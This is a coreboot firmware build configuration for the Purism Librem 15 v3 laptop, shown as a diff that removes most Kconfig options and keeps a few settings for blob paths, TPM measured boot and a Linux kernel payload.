-CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" -CONFIG_DISABLE_HECI1_AT_PRE_BOOT=y -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_USE_PM_ACPI_TIMER=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0x40000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/me.bin" -CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 15 v3" -# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set CONFIG_HAVE_IFD_BIN=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_GFX_GMA_PANEL_1_PORT="eDP" -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_GFX_GMA_PANEL_1_ON_EDP=y -# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI is not set -# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM_14 is not set -# CONFIG_BOARD_PURISM_LIBREM_11 is not set -# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set -# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set CONFIG_BOARD_PURISM_LIBREM15_V3=y -# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set -# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="sklkbl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=24 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=24000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -# CONFIG_ENABLE_SATA_TEST_MODE is not set -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_MAX_HECI_DEVICES=5 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y -CONFIG_SOC_INTEL_SKYLAKE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -# CONFIG_USE_INTEL_FSP_MP_INIT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -# CONFIG_INTEL_KEYLOCKER is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set -# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SA_ENABLE_DPR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -# CONFIG_MMA is not set -CONFIG_SOC_INTEL_COMMON_NHLT=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_skl/cpu_microcode_blob.bin" - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_UDK_BASE=y -CONFIG_UDK_2017_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=2017 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_RUN_FSP_GOP is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_FSP_COMPRESS_FSP_S_LZ4=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Skylake" -CONFIG_GFX_GMA_PCH="Sunrise_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_IOAPIC=y -CONFIG_ACPI_NHLT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" 